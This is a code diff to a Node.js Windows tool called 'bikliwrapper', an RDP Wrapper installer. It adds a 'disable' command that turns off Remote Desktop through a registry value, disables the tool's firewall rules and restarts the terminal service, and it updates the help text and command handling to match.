|
|
320
332
|
path.join(usersDir, 'Administrator'),
|
|
@@ -365,6 +377,7 @@ function install() {
|
|
|
365
377
|
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
366
378
|
}
|
|
367
379
|
|
|
380
|
+
restartTermService();
|
|
368
381
|
waitForServiceAndListener();
|
|
369
382
|
hideProtectedFolders();
|
|
370
383
|
installation = detectInstallation(version);
|
|
@@ -380,6 +393,27 @@ function install() {
|
|
|
380
393
|
console.log('Bikli Wrapper installation and verification completed successfully.');
|
|
381
394
|
}
|
|
382
395
|
|
|
396
|
+
function disable() {
|
|
397
|
+
requireWindows();
|
|
398
|
+
if (!isAdministrator()) return elevateAndRun('disable');
|
|
399
|
+
console.log('Disabling Remote Desktop and stopping the RDP listener...');
|
|
400
|
+
run(path.join(system32, 'reg.exe'), [
|
|
401
|
+
'add', terminalServerKey, '/v', 'fDenyTSConnections', '/t', 'REG_DWORD',
|
|
402
|
+
'/d', '1', '/f', '/reg:64'
|
|
403
|
+
]);
|
|
404
|
+
const script = `Disable-NetFirewallRule -Name 'BikliWrapper-RDP-TCP','BikliWrapper-RDP-UDP' -ErrorAction SilentlyContinue`;
|
|
405
|
+
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
406
|
+
restartTermService();
|
|
407
|
+
if (queryDword(terminalServerKey, 'fDenyTSConnections') !== 1) {
|
|
408
|
+
fail('Remote Desktop could not be disabled.', 6);
|
|
409
|
+
}
|
|
410
|
+
if (listenerIsListening()) {
|
|
411
|
+
console.log('Warning: the RDP listener is still reported as listening; a reboot may be required.');
|
|
412
|
+
} else {
|
|
413
|
+
console.log('Remote Desktop disabled; the RDP listener is stopped.');
|
|
414
|
+
}
|
|
415
|
+
}
|
|
416
|
+
|
|
383
417
|
function selfTest() {
|
|
384
418
|
const packageJson = runningAsSea
|
|
385
419
|
? { name: 'bikliwrapper' }
|
|
@@ -412,6 +446,7 @@ function showHelp() {
|
|
|
412
446
|
' bikliwrapper install Install/update silently, apply defaults, and verify',
|
|
413
447
|
' bikliwrapper status Show installation, support, service, and listener status',
|
|
414
448
|
' bikliwrapper defaults Reapply the requested defaults and restart if needed',
|
|
449
|
+
' bikliwrapper disable Disable Remote Desktop and stop the RDP listener',
|
|
415
450
|
' bikliwrapper self-test Validate the npm package payload without changing Windows',
|
|
416
451
|
'',
|
|
417
452
|
'Run install/defaults from an Administrator terminal.'
|
|
@@ -420,7 +455,8 @@ function showHelp() {
|
|
|
420
455
|
|
|
421
456
|
function main() {
|
|
422
457
|
const command = (process.argv[2] || 'status').toLowerCase();
|
|
423
|
-
if (command === 'install' || command === 'defaults') return install();
|
|
458
|
+
if (command === 'install' || command === 'defaults' || command === 'enable') return install();
|
|
459
|
+
if (command === 'disable') return disable();
|
|
424
460
|
if (command === 'status') {
|
|
425
461
|
requireWindows();
|
|
426
462
|
const status = collectStatus();
|